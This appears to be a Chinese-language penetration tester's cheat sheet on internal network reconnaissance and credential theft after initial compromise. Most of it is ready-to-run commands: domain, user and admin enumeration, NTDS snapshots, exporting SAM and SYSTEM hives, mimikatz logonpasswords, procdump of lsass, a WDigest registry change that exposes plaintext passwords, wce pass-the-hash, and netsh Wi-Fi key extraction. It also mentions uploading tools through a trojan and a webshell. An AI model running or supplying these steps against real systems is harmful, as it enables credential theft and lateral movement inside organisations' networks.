目录
前言:
目的:
后渗透攻防参考链接:
一、内网信息收集
1.内网基础信息:
2.内网核心业务信息:
3.其他信息
二、内网实战(命令、工具及脚本)
1.用户列表、当前权限等
win:
linux:
2.内网网络拓扑等信息
3.进程列表
win:
linux:
4.端口信息
win:
linux:
5.补丁信息
win:
linux:
6.本地用户习惯及历史记录
7.凭证收集
8.系统哈希或明文密码获取
(1)mimikatz获取明文(一般会报毒)
(2)注册表导出,本地分析(较安全准确)
(3)Get-PassHashes脚本
(4)wce读取明文,哈希注入
(5)procdump(微软出品)+本地用mimikatz得明文,较安全
9.星号查看
三、内网权限拓展(常见应用漏洞):
首先要能拿下一台可连接内的机器权限(webshell),然后才能开始域渗透收集系统一般信息,包括操作系统、IP、是否存在杀毒软件、打过的补丁,用户信息,服务及任务信息,组网信息,计划任务信息,事件查看器信息和文件夹和文件位置信息。
当渗透测试人员进入内网后,面对的是一片“黑暗森林”,所以渗透测试人员首先会对当前所处的网络环境进行判断,通常的判断分为三种:
- 我是谁?——对机器角色的判断。
- 这是哪?——对目前机器所处网络环境的拓扑结构进行分析和判断。
- 我在哪?——对目前机器所处位置区域的判断。
内网信息收集是为了深入的了解内网情况,为了横向移动,权限维持,长期渗透做准备,收集的内容包括有:本机系统信息,本地网络信息,域内用户,域组信息等。收集并分析了这些信息,对于我们在内网进行渗透有一定的帮助作用。
https://www.secpulse.com/archives/51527.htmlhttps://www.freebuf.com/column/194119.html
https://www.cnblogs.com/oneWhite/p/11173170.html
本机内网信息搜集
【内网渗透】——内网信息收集之鹏哥教你骚操作
https://3gstudent.github.io/
(1)内网网段信息:网段信息有助于我们对渗透的内网进行拓扑、分区。以拿下边界服务器为例,得到一定的控制权之后,一定要查看网卡信息,这样就收集到内部网络地址段的信息,进一步渗透,找到更多的内部网络地址。
(2)内网大小:有助于我们了解整个公司的网络分布与组成,帮助我们寻找内网核心业务。
内网OA办公系统(大公司)、邮件服务器(大公司才有)、网络监控系统(一般都有)、财务应用系统、核心产品源码(对于IT公司,会架设自己的svn或者git服务器)
系统管理员密码。
其他用户session,3389和ipc$连接记录,各用户回收站信息。
浏览器密码和浏览器cookie获取。
windows无线密码获取(利用netsh),数据库密码获取。
host文件获取和dns缓存信息收集等,可以查看DNS服务器的IP,如果是域,一般情况DNS服务器和域控是同一台!先定位出DNS服务器,再进行后面渗透。
杀软、补丁、进程、网络代理信息wpad信息(Web Proxy Auto-Discovery Protocol,是客户端通过DHCP或DNS协议探测代理服务器配置脚本url的一种方式),软件列表信息。
计划任务、帐号密码策略与锁定策略、共享文件夹、web服务器配置文件。
VPN历史密码等、TeamView密码等、启动项、iislog等。
常用的后渗透信息收集工具、PowerShell+各种内网渗透工具的使用。
win:
导出域内所有用户信息详细信息。字段可以不加选择默认字段 csvde -r "(&(objectcategory=person)(objectClass=user))" -l "name,sAMAccountName,description,title,department,telephoneNumber,mail,userAccountControl" -f C:\xxx\xxx\xxx.csv 域控导出日志 wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" 只导出登录成功的用户记录 wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624]" 拍域快照快捷命令 ntdsutil "ac i ntds" "ifm" "create full c:\" q q ipconfig /all #查询本机 IP 段,所在域等 netstat –an //网络连接查询 route print //路由打印 whoami //查询账号所属权限 whoami/all //查看 sid 值 net user //查询本机用户列表 net user /domain // 查询域用户 net view /domain //查询域列表 net view //查询同一域内在线机器列表 net group /domain // 查询域里面的工作组 net group "domain controllers" /domain // 查看域控制器 net group “domain computers” /domain 查看加入到域内的所有计算机名 net group "domain admins" /domain // 查询域管理员用户组 net localgroup administrators /domain //登录本机的域管理员 net localgroup administrators //本机管理员[通常含有域用户] net session // 查看当前会话 net share //查看 SMB 指向的路径[即共享] net accounts // 查看本地密码策略 net accounts /domain // 查看域密码策略 dsquery computer domainroot -limit 65535 && net group “domain computers” /domain //列出该域内所有机器名 dsquery user domainroot -limit 65535 && net user /domain //列出该域内所有用户名 dsquery subnet //列出该域内网段划分 dsquery group && net group /domain //列出该域内分组 dsquery ou //列出该域内组织单位 dsquery server && net time /domain //列出该域内域控制器
linux:
whoami
id
who
cat /etc/passwd
cat /etc/group
以下两条命令可以查看无线网密码:
netsh wlan show profiles
netsh wlan show profile name=“网络链接配置文件” key=clear
win:tasklist
linux:
ps top
win:
netstat -ano
linux:
netstat -ntulp
ps -aux
win:
win系统:systeminfo wmic qfe list full wmic qfe list full /format:htable>c:\hotfixes.html //导出html到指定位置
linux:
看一下是否有samba服务,或者使用rpm -qa来查询安装了哪些软件包,有一些可以通过名字来判断出是补丁包。
桌面目录,一般用户都会把编辑的文件放在桌面,找桌面根目录可能会有发现;
c:\windows\SchedLgU.txt,如果未启动remote Storage Engine服务(win7和server03上都没找到此服务)和Task Scheduler服务,则不会记录。
c:\windows\Prefetch文件夹,里面记录着用户运行的程序列表。(已验证)
c:\Users\用户名\Recent文件夹,记录最近打开过的文件和文件夹(xp及server03是在c:\Documents and Settings\用户名\Recent)
查看收藏夹、文档目录、下载目录等。
常用工具mimikatz、wce、Invoke-WCMDump、vaultcmd(win系统自带)
CredentialManager,中文翻译为凭据管理器,用来存储凭据(如网站登陆和主机远程连接的用户名密码),如果用户选择存储凭据,那么当用户再进行对应的操作,系统会自动填入凭据,实现自动登陆,凭据保存在特定的位置,被称作保管库(vault,位于%localappdata%/Microsoft\Vault)
Invoke-WCMDum PowerShell脚本,从凭据管理器导出Windows凭据
下载https://github.com/peewpw/Invoke-WCMDump
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
参考:http://www.4hou.com/technology/9397.html
vaultcmd命令(win系统自带),导出的不是明文密码,本人不会利用
列出保管库(vault)列表:vaultcmd /list
列出保管库(vault)概要,凭据名称和GUID:vaultcmd /listschema
其他命令:cmdkey /list
详细理论参考笔记,最方便的方法是利用cmd执行reg save命令从注册表导出。
XP等系统的密码位数超过14时,会采用NTLM加密,小于14位是LM。win7等更高版本,应该是NTLM。
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
注意被冒号隔断的两组长字符串,前面是LM hash,后面是NTLM hash,hash一般存在两个地方:sam文件(system文件也需要),NTDS.DIT文件,存在域控上对应域用户。(1)mimikatz获取明文(一般会报毒)
要以管理员身份运行,一般用在桌面环境。如果是终端条件,使用能以系统管理员身份运行的程序去调用mimikatz,执行以下两条命令就OK.
privilege::debug sekurlsa::logonpasswords
(2)注册表导出,本地分析(较安全准确)
win2000和XP需要先提权到system权限,server03开始,可以直接reg save,文件可能较大,效率低,但比较准确可靠。 reg save hklm\sam sam.hive(也可省略.hive,但二者有何区别暂不清楚) reg save hklm\system system.hive reg save hklm\security security.hive(这个文件什么用途暂不清楚)
(3)Get-PassHashes脚本
cd c:\phpstudy\www (在终端先切换到ps1脚本目录) powershell -ExecutionPolicy Bypass(设置会话默认执行策略,并进入PS) import-module .\Get-PassHashes.ps1 (导入模块) Get-PassHashes(大小写不敏感)
(4)wce读取明文,哈希注入
抓取明文(wce.exe -w,wce支持win系统绝大多数版本)
很快就能显示,但密码位数过长时,偶尔可能不准确,如下面第一张图,显示的密码中间少了两位,第二张图长度更长了,但显示的密码却是正确的
win8和server2012如果抓不出,在目标机修改注册表(CMD运行下命令)reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
//获取明文并保存: wce -o output.txt type output.tx
wce的hash注入 https://blog.csdn.net/yiyefangzhou24/article/details/28631223
hash注入的原理是将我们预备好的目标机器的本地或者是域用户hash注入到本地的认证进程lsass.exe中去,使得本地在使用ipc登录目标机器的时候就如同自己登录自己的机器一样获得权限。至于目标机器的本地或者是域用户hash如何取得那就要发挥你自己的想象力了。hash注入本身是为了对付那些破解不了的NTHASH
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c cmd.exe
配合上面提到的Get-PassHashes脚本,本地进行hash注入后,成功列出了目标机的文件。两个主机互测,一次成功了,但测试前没有尝试第二张图,不知是否是hash注入影响。攻守互换后,不成功。
当提示注入成功的时候,这时候键入net use命令并没有看到有连接,其实已经可以连接了,直接使用ipc命令操作对方的机器就可以了。
域里的域用户hash也可以使用wce进行注入,只需要把命令格式变一变就行 wce.exe -s 用户名:域名:LM-HASH:NT-HASH(5)procdump(微软出品)+本地用mimikatz得明文,较安全
参考:http://www.91ri.org/6881.html
原帖英文 :http://blog.gentilkiwi.com/securite/mimikatz/minidump
mimikatz1.0版本直接用不行(需要先注入sekurlsa.dll),2.1.1 x64版本试验OK,另外路径中最好不要出现中文,且需要以管理员权限运行。
我们运行mimikatz的平台要与进行dump的系统(source dump)兼容,假如你攻击的server2008,你需要用nt6平台使用mimikatz,兼容性如下:
1)获取dump
NT6可以使用任务管理器进行dump:
个人觉得用到情况较少,一般有桌面环境,可以考虑直接运行mimikatz
也可使用procdump(win7亲测可用):
官网下载http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
procdump.exe -accepteula -ma lsass.exe lsass.dmp
原帖中是通过ipc$入侵得到的dump文件,我是通过木马,使用菜刀连接上传procdump,靶机这边我用的是管理员权限,之所以这样做,是考虑到实战中,如果是低权限用户,也不会费劲的去破解对方密码吧。
2)本地破解密码
攻击者是win7,使用mimikatz的环境也要用NT6,把dmp文件放在mimikatz程序目录下。
进入目录后,直接输入mimikatz并回车,注意权限,再运行下面两个命令。成功得到系统密码,我这里还用了syskey加密,仍然得到了明文。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
通过hook函数或者改变变量属性值来查看明文。
通过改js代码,或使用浏览器插件可显示网页中星号的明文,但实战个人猜测用处不大,https://jingyan.baidu.com/article/fea4511a0f875df7bb91258f.html
strust2、Zabbix、Axis2、ImageMagick、FastCGI、redis、Hadoop
struts攻击参考:
https://www.anquanke.com/post/id/85674
https://www.cnblogs.com/peterpan0707007/p/7495649.html
https://www.anquanke.com/post/id/85744